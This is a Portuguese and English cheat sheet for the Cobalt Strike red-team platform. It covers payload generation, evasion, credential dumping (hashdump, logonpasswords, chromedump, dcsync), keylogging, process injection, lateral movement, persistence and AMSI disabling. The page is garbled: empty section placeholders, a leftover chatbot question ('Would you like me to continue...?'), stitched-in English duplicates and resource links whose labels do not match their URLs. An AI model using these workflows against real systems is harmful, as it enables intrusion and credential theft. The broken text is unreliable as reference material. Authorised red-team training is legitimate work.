Pular para o conteúdo
1337skills 1337skills - Folhas de Dicas

Folha de Dicas do Cobalt Strike

## Visão Geral

Cobalt Strike é uma plataforma comercial de teste de penetração e operações de red team projetada para emular atores de ameaças avançadas. Fornece uma estrutura de pós-exploração que permite aos operadores implantar beacons (agentes) em sistemas comprometidos, estabelecer canais de comando e controle (C2) e realizar várias operações de segurança ofensiva.

⚠️ Aviso: Cobalt Strike é uma ferramenta comercial de teste de segurança que deve ser usada apenas em ambientes onde você tem permissão explícita para fazê-lo.

Componentes Principais

Team Server

  • Servidor central de comando e controle
  • Executa no Linux
  • Gerencia beacons e listeners
  • Fornece colaboração para operações de equipe

Cliente

  • Aplicação GUI baseada em Java
  • Conecta-se ao Team Server
  • Interface para operadores interagirem com beacons
  • Visualiza redes de destino

Beacon

  • Payload principal para pós-exploração
  • Estabelece comunicação com Team Server
  • Fornece várias capacidades para operações ofensivas
  • Pode operar em diferentes modos de comunicação

Configuração e Instalação

Configuração do Team Server

(Placeholder for section 3)

Configuração do Cliente

(Placeholder for section 4)

Listeners

Criando Listeners

(Placeholder for section 5)

Tipos de Listeners

(Placeholder for section 6)

Geração de Payload

Tipos de Payload de Beacon

(Placeholder for section 7)

Artifact Kit

(Placeholder for section 8)

  • Gera payloads personalizados com técnicas de evasão
  • Modifica assinaturas para evitar detecção
  • Templates personalizáveis

Comandos de Beacon

Gerenciamento de Sessão

(Placeholder for section 9)

Coleta de Informações

(Placeholder for section 10)

Operações de Arquivo

(Placeholder for section 11)

Operações de Processo

(Placeholder for section 12)

Movimento Lateral

(Placeholder for section 13)

Pivoting

(Placeholder for section 14)

Pós-Exploração

(Placeholder for section 15)

Perfis Malleable C2

Estrutura Básica

(Placeholder for section 16)

Testando Perfis

(Placeholder for section 17)

Scripts Aggressor

Estrutura Básica de Script

(Placeholder for section 18)

Funções Comuns de Script

(Placeholder for section 19)

Considerações de OPSEC

Injeção de Processo

(Placeholder for section 20)

Técnicas de Evasão

Would you like me to continue with the remaining sections?```bash

Start the Team Server

./teamserver <ip_address> [malleable_c2_profile]

Example

./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile


### Client Setup
  1. Launch the Cobalt Strike client
  2. Connect > New Connection
  3. Enter Team Server details:
    • Host: <team_server_ip>
    • Port: 50050 (default)
    • User:
    • Password:
  4. Verify SSL certificate fingerprint

## Listeners

### Creating Listeners
  1. Cobalt Strike > Listeners
  2. Click “Add”
  3. Configure listener settings:
    • Name: <listener_name>
    • Payload: <beacon_type>
    • Host: <callback_domain_or_ip>
    • Port: <port_number>
    • Profile: <malleable_c2_profile>
  4. Click “Save”

### Listener Types

| Tipo | Descrição |
|------|-------------|
| HTTP | Usa HTTP para comunicação C2 |
| HTTPS | Usa HTTPS para comunicação C2 |
| DNS | Usa consultas DNS para C2 furtivo |
| SMB | Usa pipes nomeados para C2 peer-to-peer |
| TCP | Usa conexões TCP diretas |
| Foreign | Integra-se com outras estruturas de C2 |
## Payload Generation

### Beacon Payload Types

Attacks > Packages > <payload_type>


| Tipo de Payload | Descrição |
|--------------|-------------|
| Windows Executable | Arquivo .exe padrão |
| Windows Service EXE | Executável de serviço |
| DLL | Biblioteca de Ligação Dinâmica |
| PowerShell | PowerShell one-liner |
| Python | Script Python |
| Office Macro | Macro para documentos do Office |
| Shellcode | Shellcode bruto |
### Artifact Kit

Attacks > Packages > Windows Executable (S)

- Generates custom payloads with evasion techniques
- Modifies signatures to avoid detection
- Customizable templates

## Beacon Commands

### Session Management

| Comando | Descrição |
|---------|-------------|
| `help` | Exibir informações de ajuda |
| `sleep [seconds] [jitter%]` | Definir tempo de sono e jitter |
| `checkin` | Forçar check-in imediato |
| `exit` | Encerrar a sessão do beacon |
| `clear` | Limpar a fila de tarefas do beacon |
| `jobs` | Listar jobs em execução |
| `jobkill [JID]` | Matar um job em execução |
| `mode dns` | Mudar para modo DNS |
| `mode dns-txt` | Mudar para modo DNS-TXT |
| `mode dns6` | Mudar para modo DNS6 |
| `mode http` | Mudar para modo HTTP |
| `mode smb` | Mudar para modo SMB |
### Information Gathering

| Comando | Descrição |
|---------|-------------|
| `hostname` | Obter o hostname |
| `ipconfig` | Exibir configuração de rede |
| `netstat` | Exibir conexões de rede |
| `ps` | Listar processos em execução |
| `tasklist` | Alternativa ao ps |
| `getuid` | Obter ID do usuário atual |
| `whoami` | Obter informações detalhadas do usuário |
| `pwd` | Imprimir diretório de trabalho |
| `drives` | Listar unidades disponíveis |
| `dir [directory]` | Listar arquivos no diretório |
| `ls [directory]` | Alternativa para dir |
| `net [command]` | Executar comando net |
| `reg query [path]` | Consultar registro |
| `sysinfo` | Obter informações do sistema |
### File Operations

| Comando | Descrição |
|---------|-------------|
| `cd [directory]` | Mudar diretório |
| `cp [source] [destination]` | Copiar um arquivo |
| `mkdir [directory]` | Criar um diretório |
| `mv [source] [destination]` | Mover ou renomear um arquivo |
| `rm [file]` | Excluir um arquivo |
| `rmdir [directory]` | Excluir um diretório |
| `cat [file]` | Exibir conteúdo do arquivo |
| `download [file]` | Baixar um arquivo do alvo |
| `upload [file]` | Carregar um arquivo para o destino |
| `timestomp [file] [template]` | Modificar timestamps de arquivos |
| `ls-acl [file]` | Listar permissões de arquivo |
### Process Operations

| Comando | Descrição |
|---------|-------------|
| `execute [program]` | Executar sem capturar a saída |
| `shell [command]` | Executar e capturar saída |
| `run [program]` | Executar um programa |
| `runas [user] [password] [program]` | Executar como outro usuário |
| `pth [user] [domain] [hash]` | Pass-the-hash para criar um token |
| `steal_token [pid]` | Roubar token do processo |
| `make_token [domain] [user] [password]` | Criar um token |
| `rev2self` | Reverter para token original |
| `getprivs` | Habilitar privilégios de sistema |
| `getsystem` | Tentar obter privilégios de SYSTEM |
| `execute-assembly [file.exe]` | Executar assembly .NET na memória |
| `powerpick [command]` | Executar PowerShell sem powershell.exe |
| `powershell [command]` | Executar comando PowerShell |
| `psinject [pid] [command]` | Executar PowerShell em processo específico |
| `shinject [pid] [arch] [file.bin]` | Injetar shellcode no processo |
| `dllinject [pid] [file.dll]` | Injetar DLL no processo |
| `dllload [file.dll]` | Carregar DLL no processo beacon |
### Lateral Movement

| Comando | Descrição |
|---------|-------------|
| `psexec [target] [listener]` | Use PsExec para implantar beacon |
| `psexec_psh [target] [listener]` | Use PsExec com PowerShell |
| `winrm [target] [listener]` | Use WinRM para implantar beacon |
| `wmi [target] [listener]` | Use WMI para implantar beacon |
| `ssh [target:port] [user] [pass] [listener]` | Use SSH para implantar beacon |
| `ssh-key [target:port] [user] [key] [listener]` | Use SSH com autenticação por chave |
| `dcsync [domain] [user]` | Use DCSync para extrair hashes de senha |
| `jump [method] [target] [listener]` | Saltar para o alvo usando o método especificado |
| `remote-exec [method] [target] [command]` | Executar comando no sistema remoto |
### Pivoting

| Comando | Descrição |
|---------|-------------|
| `rportfwd [bind port] [forward host] [forward port]` | Configurar encaminhamento de porta reverso |
| `rportfwd stop [bind port]` | Parar encaminhamento de porta reverso |
| `socks [port]` | Iniciar servidor proxy SOCKS |
| `socks stop` | Parar servidor proxy SOCKS |
| `spunnel [host] [port]` | Criar túnel criptografado sobre SMB |
| `spunnel stop` | Parar túnel criptografado |
| `covertvpn [interface] [IP/Mask]` | Implantar interface do Covert VPN |
| `covertvpn stop` | Pare Covert VPN |
| `pivot [host] [port]` | Listar pivot listeners |
| `pivotlistener [host] [port]` | Criar listener de pivot |
### Post-Exploitation

| Comando | Descrição |
|---------|-------------|
| `mimikatz [command]` | Executar comando Mimikatz |
| `hashdump` | Despejar hashes de senhas |
| `logonpasswords` | Extrair credenciais da memória |
| `keylogger [pid]` | Iniciar keylogger |
| `screenshot [pid]` | Tirar screenshot |
| `screenwatch [pid]` | Observe a tela do alvo |
| `printscreen` | Tirar screenshot usando PrintScreen |
| `reg query [path]` | Consultar registro |
| `powerview [command]` | Executar comando PowerView |
| `portscan [targets] [ports] [discovery method]` | Escanear portas abertas |
| `browserpivot [pid] [port]` | Sequestrar sessões web autenticadas |
| `chromedump` | Despejar cookies e dados de login do Chrome |
| `persist [method] [listener]` | Configurar persistência |
| `elevate [exploit] [listener]` | Tentar escalação de privilégios |
## Malleable C2 Profiles

### Basic Structure

Global options

set sleeptime “5000”; set jitter “10”; set useragent “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36”;

HTTP staging

http-stager \\{ set uri “/jquery-3.3.1.min.js”; client \\{ header “Accept” “text/javascript, application/javascript, /”; \\} server \\{ header “Content-Type” “application/javascript”; \\} \\}

HTTP client

http-get \\{ set uri “/api/v1/data”; client \\{ header “Accept” “application/json”; metadata \\{ base64; prepend “session=”; append ”;”; header “Cookie”; \\} \\} server \\{ header “Content-Type” “application/json”; output \\{ json \\{ “status” “success”; “data” ""; \\} prepend ”\\{“data”:""; append ""\\}”; base64; \\} \\} \\}


### Testing Profiles
```bash
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile

# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Aggressor Scripts

Basic Script Structure

# Event handlers
on beacon_initial \\\\{
    println("New beacon: " . $1);
\\\\}

# Aliases (custom commands)
alias hello \\\\{
    blog($1, "Hello, World!");
\\\\}

# Menus
popup beacon_bottom \\\\{
    item "Custom Command" \\\\{
        blog($1, "Executing custom command...");
        bshell($1, "whoami");
    \\\\}
\\\\}

# Functions
sub get_system_info \\\\{
    bshell($1, "systeminfo");
\\\\}

Common Script Functions

FunçãoDescrição
blog($1, "message")Escrever no console do beacon
bshell($1, "command")Executar comando shell
bpowershell($1, "command")Executar comando PowerShell
bpowerpick($1, "command")Executar PowerShell sem powershell.exe
bexecute_assembly($1, "/path/to/file.exe")Executar assembly .NET
bdllspawn($1, "/path/to/file.dll")Injetar DLL Reflexiva
bpsexec($1, "target", "listener")Executar movimento lateral do PsExec
bwmi($1, "target", "listener")Executar movimento lateral WMI
bwinrm($1, "target", "listener")Executar movimento lateral do WinRM

OPSEC Considerations

Process Injection

# Set parent process for new processes
ppid [pid]

# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe

# Mask command-line arguments
argue [command] [fake arguments]

# Block non-Microsoft DLLs
blockdlls start
blockdlls stop

Evasion Techniques

# Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]

# Configure staging process
stage \\\\{
    set obfuscate "true";
    set stomppe "true";
    set cleanup "true";
\\\\}

# Disable AMSI
amsi_disable

# Use smarter process injection
smartinject
```## Fluxos Comuns
  1. Create a listener (Cobalt Strike > Listeners)
  2. Generate a payload (Attacks > Packages)
  3. Deliver payload to target
  4. Wait for beacon check-in
  1. Check current privileges: getuid
  2. Attempt to get SYSTEM: getsystem
  3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
  4. Verify new privileges: getuid
  1. Dump hashes: hashdump
  2. Dump credentials from memory: logonpasswords
  3. Use Mimikatz for advanced options: mimikatz [command]
  4. Extract domain hashes (if DC): dcsync [domain] [user]
  1. Identify targets: net view
  2. Choose lateral movement technique:
    • psexec [target] [listener]
    • winrm [target] [listener]
    • wmi [target] [listener]
  3. Verify new beacon check-in
  1. Choose persistence method:
    • persist [method] [listener]
    • schtasks [options]
    • service [options]
    • registry [options]
  2. Verify persistence works
  3. Document persistence mechanisms for cleanup
https://www.cobaltstrike.com/help-beacon#

# Recursos
- [Documentação Oficial do Cobalt Strike](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
- [Guia do Usuário do Cobalt Strike](https://github.com/BC-SECURITY/Malleable-C2-Profiles)
- [Perfis de C2 Maleáveis](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as_aggressor_script.htm)
- [Documentação do Aggressor Script](https://attack.mitre.org/software/S0154/)
- [Mapeamento do Cobalt Strike no MITRE ATT&CK](